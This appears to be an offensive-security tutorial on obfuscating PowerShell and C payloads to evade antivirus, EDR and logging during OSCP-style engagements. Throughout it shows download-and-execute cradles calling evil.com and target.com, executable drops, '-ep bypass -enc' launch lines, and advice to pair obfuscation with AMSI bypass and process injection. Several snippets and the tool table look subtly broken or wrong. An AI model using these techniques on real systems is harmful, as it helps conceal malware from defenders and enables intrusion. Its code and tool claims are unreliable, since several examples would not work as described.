Code Obfuscation Techniques
Why Obfuscate?
Obfuscation transforms readable code into functionally equivalent but harder-to-analyze code. In OSCP engagements, obfuscation serves four primary goals:
- Hide sensitive strings — Remove plain-text URLs, IPs, command paths, and registry keys that AV/EDR scan for.
- Confuse static analysis — Make pattern-based signatures miss your payload.
- Delay detection — Buy time before an analyst or automated system identifies malicious intent.
- Bypass application whitelisting controls — Some DLP rules inspect script content for keywords.
Key principle: Obfuscation is NOT encryption. It is a delaying tactic, not a guarantee of stealth. Modern EDR uses behavioral analysis that obfuscation alone cannot defeat.
String Manipulation Techniques
Strings are the easiest giveaway. Replace every plaintext string in your payload.
Base64 Encoding
# Encode a string
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("whoami"))
# Decode and execute
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded))
Invoke-Expression $decoded
Hex Encoding
# Convert string to hex array
$hex = -join ("{0:X2} " * [System.Text.Encoding]::ASCII.GetBytes("cmd.exe"))
# Reconstruct at runtime
$bytes = ($hex -split ' ') | ForEach-Object { [Convert]::ToByte($_, 16) }
$cmd = [System.Text.Encoding]::ASCII.GetString($bytes)
Start-Process $cmd
Unicode / Character Code Manipulation
# Build a string from character codes
$cmd = [char]99 + [char]109 + [char]100 + [char]46 + [char]101 + [char]120 + [char]101
# Output: cmd.exe
String Concatenation and Splitting
# Split sensitive strings across variables
$part1 = "http"
$part2 = "s://"
$part3 = "evil"
$part4 = ".com"
$part5 = "/pay"
$part6 = "load"
$url = $part1 + $part2 + $part3 + $part4 + $part5 + $part6
ROT13
# Simple substitution — shift each letter by 13
function Rot13 {
param([string]$Input)
$result = [char[]]$Input
for ($i = 0; $i -lt $result.Length; $i++) {
$c = [int]$result[$i]
if ($c -ge 65 -and $c -le 90) { $result[$i] = [char]((($c - 65 + 13) % 26) + 65) }
elseif ($c -ge 97 -and $c -le 122) { $result[$i] = [char]((($c - 97 + 13) % 26) + 97) }
}
return -join $result
}
XOR Encoding
# XOR each byte with a key
$key = 0x5A
$plain = "powershell"
$encrypted = [byte[]](-join ($plain.ToCharArray() | ForEach-Object { $_ -bxor $key }))
# Decrypt at runtime
$decrypted = [System.Text.Encoding]::ASCII.GetString($encrypted | ForEach-Object { $_ -bxor $key })
Variable Renaming Strategies
Descriptive variable names leak intent. Replace them with meaningless identifiers.
Hex-Style Naming
# Instead of: $malwareUrl = "http://evil.com/payload"
# Use:
$0x41 = "http://evil.com/payload"
$0x42 = Invoke-WebRequest -Uri $0x41
$0x43 = $0x42.Content
Random Name Generation
# Generate random variable names at runtime
$varName = "v_" + -join ((65..90) + (97..122) | Get-Random -Count 8 | ForEach-Object { [char]$_ })
New-Variable -Name $varName -Value "sensitive_data"
Control Flow Obfuscation
Change the structure of your code so linear analysis fails.
Dead Code Insertion
Insert branches that never execute but look legitimate:
$flag = $false
if ($flag) {
# This dead branch will never run but confuses static analysis
Write-Host "This is a decoy"
Start-Process "notepad.exe"
} else {
# Real payload here
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://target.com/stage2")
}
Opaque Predicates
Conditions that always evaluate the same way, but look complex:
# Always true — but looks like a real check
if ((Get-Date).Ticks -gt 0) {
# Payload always executes
Start-Process "cmd.exe" -ArgumentList "/c whoami"
}
Instruction Substitution
Replace common commands with equivalent but less recognizable alternatives:
# Instead of: Invoke-WebRequest
(New-Object System.Net.WebClient).DownloadString("http://evil.com/payload")
# Instead of: Start-Process
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami")
# Instead of: Get-Content
[System.IO.File]::ReadAllText("C:\temp\config.txt")
Control Flow Flattening
Replace structured logic with a state-machine dispatch loop:
$state = 0
while ($state -ne 99) {
switch ($state) {
0 { $data = "encoded_payload"; $state = 1 }
1 { $decoded = [Convert]::FromBase64String($data); $state = 2 }
2 { Set-Content -Path "C:\temp\drop.exe" -Value $decoded -Encoding Byte; $state = 99 }
}
}
C/C++ Obfuscation Examples
String Encryption with XOR
#include <stdio.h>
#include <string.h>
void xor_decrypt(char *str, unsigned int key, unsigned int len) {
for (unsigned int i = 0; i < len; i++) {
str[i] ^= (char)(key + i);
}
}
int main() {
// Encrypted at build time — decrypt at runtime
char cmd[] = {0x53, 0x1C, 0x55, 0x1A, 0x57, 0x1C, 0x51, 0x18, 0x00};
xor_decrypt(cmd, 0x42, strlen(cmd));
system(cmd); // "cmd.exe" after decryption
return 0;
}
Macro-Based Obfuscation
#define HIDDEN_STRING(x) \
((char[]){x[0], x[1], x[2], x[3], x[4], x[5], x[6], x[7], '\0'})
int main() {
char target[] = {0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x65};
char *url = HIDDEN_STRING(target);
// url = "http://e..."
return 0;
}
Obfuscation Tools
| Tool | Language | Key Feature | OSCP Relevance |
|---|---|---|---|
| Invoke-Obfuscation | PowerShell | Framework with multiple transformers | High — built-in PS obfuscation |
| OBFUSCATOR | PowerShell | String, variable, AST-level transforms | High — easy pipeline integration |
| AllStar | PowerShell | Multi-pass obfuscation engine | Medium — good for layered approach |
| ScareCrow | PowerShell | Context-aware obfuscation | Medium — preserves functionality well |
Invoke-Obfuscation Quick Start
# Import the framework
Import-Module .\Invoke-Obfuscation.ps1
# Launch interactive console
Invoke-Obfuscation
# Obfuscate a script with multiple transformers
Invoke-Obfuscator -ScriptBlock {
$client = New-Object Net.WebClient
$client.DownloadFile("http://evil.com/payload", "C:\temp\p.exe")
} -Command "Token,All,1; ExpandStrings; CommandSplit" -OutputPath ".\obfuscated.ps1"
OBFUSCATOR Pipeline
# Chain multiple obfuscation passes
$script = Get-Content .\payload.ps1 -Raw
$obfuscated = $script | OBFUSCATOR -String -Variable -Command -Loop
$obfuscated | Out-File .\final.ps1 -Encoding ASCII
Multi-Layer Obfuscation Strategy
Layering different techniques dramatically increases analysis effort:
- Layer 1 — XOR-encode all strings
- Layer 2 — Rename all variables to hex-style names
- Layer 3 — Wrap in Base64-encoded Invoke-Expression
- Layer 4 — Add dead code branches and opaque predicates
- Layer 5 — Encode the entire result as a compressed archive
# Example wrapper — Base64 + Compression + Invoke
$payload = Get-Content .\obfuscated.ps1 -Raw -Encoding UTF8
$compressed = System.IO.Compression.DeflateStream
$b64 = [Convert]::ToBase64String(
[System.IO.Compression.DeflateStream]::new(
[System.IO.MemoryStream]::new(
[System.Text.Encoding]::UTF8.GetBytes($payload)
),
[System.IO.Compression.CompressionMode]::Compress
)
)
# Final one-liner for execution:
# powershell -ep bypass -enc <base64_string>
When Obfuscation Helps vs. Hurts
Helps
- Bypassing static signature-based AV that scans for known strings
- Evading DLP rules that look for specific keywords in scripts
- Delaying manual analyst review during time-sensitive engagements
- Circumventing basic PowerShell script block logging patterns
Hurts
- Increases payload size — may trigger size-based alerts
- Breaks functionality — aggressive obfuscation can corrupt logic
- Triggers behavioral EDR — decoded strings still appear in memory
- Wastes time — if the target has no AV, obfuscation is unnecessary overhead
Rule of thumb: Obfuscate only what you need to. Start simple (string encoding), then layer up only if the first pass is detected.
Practical OSCP Tips
- Always test obfuscated payloads in a VM first — obfuscation can silently break your script.
- Use
powershell -ep bypass -enc <base64>as your default execution method for encoded payloads. - Combine obfuscation with other evasion techniques — AMSI bypass, script block logging disable, and process injection.
- Keep a clean backup of your unobfuscated script for debugging.
- Don’t over-obfuscate — if your payload stops working, you lose more than you gain.
- For C2 frameworks (Empire, Covenant, Metasploit), use their built-in obfuscation before adding manual layers.
- Check your obfuscation by running
Select-String -Path obfuscated.ps1 -Pattern "whoami|Invoke-WebRequest|DownloadString"— if it matches, obfuscate more. - Remember: OSCP grading machines run older AV. Simple Base64 + variable renaming often suffices. Save complex multi-layer strategies for harder targets.
Quick Reference: Technique Selection Matrix
| Threat Level | Recommended Techniques |
|---|---|
| Basic (no AV) | No obfuscation needed |
| Low (basic AV) | Base64 encoding + variable renaming |
| Medium (standard AV) | String XOR + dead code + instruction substitution |
| High (EDR present) | Multi-layer: XOR → Base64 → compression + control flow flattening |
Key Takeaways
- Obfuscation is a delaying mechanism, not a silver bullet.
- Strings are your biggest liability — encode every sensitive string.
- Layer techniques for compounding analysis difficulty.
- Test every layer — broken obfuscation is worse than no obfuscation.
- Match effort to target — OSCP machines rarely need heavy obfuscation.